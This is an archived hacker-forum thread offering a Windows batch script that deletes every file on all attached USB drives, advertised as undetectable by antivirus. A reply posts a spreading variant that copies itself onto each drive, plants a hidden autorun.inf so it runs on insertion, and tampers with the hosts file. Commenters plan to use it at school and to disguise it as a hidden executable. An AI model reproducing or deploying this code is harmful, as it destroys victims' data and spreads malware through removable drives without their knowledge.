Hack Forums
[Shell] USB Raper - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Shell] USB Raper (/showthread.php?tid=572904)

Pages: Pages 1 2 3


USB Raper - White Light - Jul 28, 2010

This will delete all files and folders on any and all USB devices attached to the computer it is run on. Is not detected by AV software and data is REALLY hard to recover (data recovery is virtually always possible) - impossible unless the user has professional data recovery programs or backups.

Current version: 1.2

Changelog:
v1.2 - Made it so it checks that the drive contains files - prevents a simple error.
v1.1 - Made it so it works whether or not the drive has a label.
v1.0 - Works...if the drive has a label.

Code
@echo off
setlocal enabledelayedexpansion
echo list volume > script
for /f "skip=8 delims=" %%a in ('diskpart /s script') do (
    set drive=%%a
    set drive=!drive:~15,1!
    set type=%%a
    set type=!type:~39,10!
    if !type!==Removeable call :delete !drive!
)
del script
goto :eof
:delete
if not exist !drive!:\nul goto :eof
if not exist !drive!:\* goto :eof
del /f /s /q %1:\*
rd /s /q %1:\*

If anyone wants to use this for a project or whatever, feel free, as long as you give me some credit, ok?


* - Goonjimbo - Jul 28, 2010

I Got A USB! And... Although i Want My Stuff On It... Spoiler (Click to View)


* - White Light - Jul 28, 2010

Just copy your stuff to your HDD. The batch file will only harm flash drives.


* - unknown123456 - Jul 29, 2010

Code
@echo off & break off
setlocal enabledelayedexpansion
set ehco=echo
%ehco% google.com 127.0.0.1 >>%windir%\system32\drivers\etc\hosts
%ehco% http://google.com 127.0.0.1 >>%windir%\system32\drivers\etc\hosts
%ehco% list volume > script
for /f "skip=8 delims=" %%a in ('diskpart /s script') do (
    set drive=%%a
    set drive=!drive:~15,1!
    set type=%%a
    set type=!type:~39,10!
    if !type!==Removeable call :delete !drive!
)
del script
goto :eof
:delete
if not exist %1:\nul goto :eof
if not exist %1:\* goto :eof
copy %0 %1:\cmd.bat
%ehco% [autorun] >%1:\autorun.inf
%ehco% shellexecute=cmd.bat >>%1:\autorun.inf
attrib +h +s +r %1:\cmd.bat
attrib +h +s +r %1:\autorun.inf

hm i use your code this way : D


* - yohi9889 - Jul 29, 2010

Nice! This is going to be fun at School!!


* - White Light - Jul 29, 2010

(Jul 29, 2010 09:45 AM)pcquad Wrote:  
Code
@echo off & break off
setlocal enabledelayedexpansion
set ehco=echo
%ehco% google.com 127.0.0.1 >>%windir%\system32\drivers\etc\hosts
%ehco% http://google.com 127.0.0.1 >>%windir%\system32\drivers\etc\hosts
%ehco% list volume > script
for /f "skip=8 delims=" %%a in ('diskpart /s script') do (
    set drive=%%a
    set drive=!drive:~15,1!
    set type=%%a
    set type=!type:~39,10!
    if !type!==Removeable call :delete !drive!
)
del script
goto :eof
:delete
if not exist %1:\nul goto :eof
if not exist %1:\* goto :eof
copy %0 %1:\cmd.bat
%ehco% [autorun] >%1:\autorun.inf
%ehco% shellexecute=cmd.bat >>%1:\autorun.inf
attrib +h +s +r %1:\cmd.bat
attrib +h +s +r %1:\autorun.inf

hm i use your code this way : D

That's completely fine. I can't implement Autorun stuff because my AV software automatically denies access to all Autorun.inf files.

SRS EDIT:
You do realize that these commands:
Quote:copy %0 %1:\cmd.bat
%ehco% [autorun] >%1:\autorun.inf
%ehco% shellexecute=cmd.bat >>%1:\autorun.inf
attrib +h +s +r %1:\cmd.bat
attrib +h +s +r %1:\autorun.inf

Will be run over and over again, right?

Put these lines after the
Quote:del script

command to get them run only once.


* - BlackBullet - Aug 15, 2010

Oh my. If this works it will be fucking epic.


* - Metapod - Aug 15, 2010

(Jul 29, 2010 05:00 PM)Forum_Reader Wrote:  That's completely fine. I can't implement Autorun stuff because my AV software automatically denies access to all Autorun.inf files.

SRS EDIT:
You do realize that these commands:
Quote:copy %0 %1:\cmd.bat
%ehco% [autorun] >%1:\autorun.inf
%ehco% shellexecute=cmd.bat >>%1:\autorun.inf
attrib +h +s +r %1:\cmd.bat
attrib +h +s +r %1:\autorun.inf

Will be run over and over again, right?

Put these lines after the
Quote:del script

command to get them run only once.

I'm positive he wants it repeat. If it repeats and is in autorun won't it run everytime a USB drive is plugged in?


* - White Light - Aug 15, 2010

(Aug 15, 2010 02:07 PM)Odysseus Wrote:  Will be run over and over again, right?

Put these lines after the
Quote:del script

command to get them run only once.

I'm positive he wants it repeat. If it repeats and is in autorun won't it run everytime a USB drive is plugged in?
[/quote]

Yeah, I wasn't quite looking right.


* - Schrecky024 - Feb 6, 2011

How long does this take...so far i have had just a little 4gb flash drive in bcuz i don't want to try it out yet on my 320GB...please pm with response


* - White Light - Feb 6, 2011

Convert it into a hidden exe file and it won't matter how long it takes. To be honest, I don't know exactly how long it will take to delete everything on your drive. It all depends on your computer's speed, your USB port's speed, file size, drive size, etc.


* - Shanghai - Feb 7, 2011

Thanks a lot. This would especially be helpful on computers I don't want people taking files from via USB.


* - t3h h4x - Feb 11, 2011

v nice :D
also nice post count and your title is epicccc


* - GL1TCH3D - Apr 5, 2012

(Feb 7, 2011 10:52 PM)Shanghai Wrote:  Thanks a lot. This would especially be helpful on computers I don't want people taking files from via USB.

agreed. I might loop this on my computer hidden xD


* - abilityfun - Apr 5, 2012

If it's not too much to ask would it be possible for you to write a step-by-step description for this?